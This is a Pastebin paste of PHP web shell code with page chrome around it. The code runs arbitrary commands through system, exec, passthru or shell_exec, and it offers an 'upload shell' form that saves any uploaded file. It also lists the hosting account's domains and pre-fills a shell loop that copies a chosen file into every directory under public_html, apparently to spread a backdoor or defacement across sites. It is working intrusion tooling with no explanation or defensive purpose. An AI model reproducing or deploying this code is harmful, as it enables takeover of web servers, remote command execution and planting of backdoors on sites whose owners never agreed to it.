Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. function exe($cmd) {
  2. if(function_exists('system')) {
  3. @ob_start();
  4. @system($cmd);
  5. $buff = @ob_get_contents();
  6. @ob_end_clean();
  7. return $buff;
  8. } elseif(function_exists('exec')) {
  9. @exec($cmd,$results);
  10. $buff = "";
  11. foreach($results as $result) {
  12. $buff .= $result;
  13. } return $buff;
  14. } elseif(function_exists('passthru')) {
  15. @ob_start();
  16. @passthru($cmd);
  17. $buff = @ob_get_contents();
  18. @ob_end_clean();
  19. return $buff;
  20. } elseif(function_exists('shell_exec')) {
  21. $buff = @shell_exec($cmd);
  22. return $buff;
  23. }
  24. }
  25. $cek = posix_getpwuid(posix_geteuid());
  26. $username=$cek['name'];
  27. $public="/home/$username/public_html/";
  28. $dirku="/home/$username/etc";
  29. $i="i";
  30. $nemoshell = $_FILES['file']['name'];
  31. $nemohero = $_FILES['file']['tmp_name'];
  32. echo "<form method='POST' enctype='multipart/form-data'>
  33. <input type='file'name='file' />
  34. <input type='submit' value='upload shell' />
  35. </form>";
  36. move_uploaded_file($nemohero,$nemoshell);
  37. $namef=$_POST['file'];
  38. echo "<form method='post'>
  39. <input type='hidden' name='data' value='play'>
  40. <input type='text' name='file' placeholder='example.php'>
  41. <input type='submit'>
  42. </form><br>";
  43. if ($_POST['data']==="play") {
  44. echo "<form method='post'>
  45. <textarea name='cmd' style='width: 1184px; height: 18px;'>for i in $(find ".$public." -type d -maxdepth 2); do cp -n $namef $$i/$namef; done</textarea><input type='submit' name='do_cmd' value='>>'>
  46. </form>";
  47. }
  48. $count=(count(glob("".$dirku."/*",GLOB_ONLYDIR)));
  49. echo "<table align='center' border='1'><tr><td><b>Total Domain: $count</b></td>";
  50. $hitungdir=glob(''.$dirku.'/*',GLOB_ONLYDIR);
  51. foreach ($hitungdir as $olahdir) {
  52. $tampildir=str_replace($dirku."/", "", $olahdir);
  53. echo "<tr><td>$tampildir</td></tr>";
  54. }
  55. echo "</tr></table>";
  56. if($_POST['do_cmd']) {
  57. echo "<pre>".exe($_POST['cmd'])."</pre>";
  58. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement